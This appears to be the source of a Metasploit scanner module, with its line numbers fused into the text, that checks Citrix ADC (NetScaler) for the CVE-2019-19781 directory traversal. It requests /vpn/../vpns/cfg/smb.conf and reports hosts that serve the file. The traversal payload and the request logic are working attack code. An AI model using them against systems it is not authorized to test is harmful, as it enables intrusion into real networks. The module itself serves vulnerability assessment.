Path: blob/master/modules/auxiliary/scanner/http/citrix_dir_traversal.rb
19534 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary67include Msf::Exploit::Remote::HttpClient8include Msf::Auxiliary::Scanner9include Msf::Auxiliary::Report1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Citrix ADC (NetScaler) Directory Traversal Scanner',16'Description' => %q{17This module exploits a directory traversal vulnerability (CVE-2019-19781) within Citrix ADC18(NetScaler). It requests the smb.conf file located in the /vpns/cfg directory by issuing the request19/vpn/../vpns/cfg/smb.conf. It then checks if the server is vulnerable by looking for the presence of20a "[global]" directive in smb.conf, which this file should always contain.21},22'Author' => [23'Mikhail Klyuchnikov', # Discovery24'Erik Wynter', # Module (@wyntererik)25'altonjx' # Module (@altonjx)26],27'References' => [28['CVE', '2019-19781'],29['URL', 'https://web.archive.org/web/20200111095223/https://support.citrix.com/article/CTX267027/'],30['URL', 'https://swarm.ptsecurity.com/remote-code-execution-in-citrix-adc/']31],32'DisclosureDate' => '2019-12-17',33'License' => MSF_LICENSE,34'Notes' => {35'AKA' => ['Shitrix'],36'Stability' => UNKNOWN_STABILITY,37'Reliability' => UNKNOWN_RELIABILITY,38'SideEffects' => UNKNOWN_SIDE_EFFECTS39}40)41)4243register_options([44OptString.new('TARGETURI', [true, 'Base path', '/']),45OptString.new('PATH', [true, 'Traversal path', '/vpn/../vpns/cfg/smb.conf'])46])47end4849def run_host(target_host)50turi = normalize_uri(target_uri.path, datastore['PATH'])5152res = send_request_cgi(53'method' => 'GET',54'uri' => turi55)5657unless res58print_error("#{full_uri(turi)} - No response, target seems down.")5960return Exploit::CheckCode::Unknown61end6263unless res.code == 20064print_error("#{full_uri(turi)} - The target is not vulnerable to CVE-2019-19781.")65vprint_error("Obtained HTTP response code #{res.code} for #{full_uri(turi)}.")6667return Exploit::CheckCode::Safe68end6970if turi.end_with?('smb.conf')71unless res.headers['Content-Type'].starts_with?('text/plain') && res.body.match(/\[\s*global\s*\]/)72vprint_warning("#{turi} does not contain \"[global]\" directive.")73end74end7576print_good("#{full_uri(turi)} - The target is vulnerable to CVE-2019-19781.")77msg = "Obtained HTTP response code #{res.code} for #{full_uri(turi)}. " \78"This means that access to #{turi} was obtained via directory traversal."79vprint_good(msg)8081report_vuln(82host: target_host,83name: name,84refs: references,85info: msg86)8788Exploit::CheckCode::Vulnerable89end9091end929394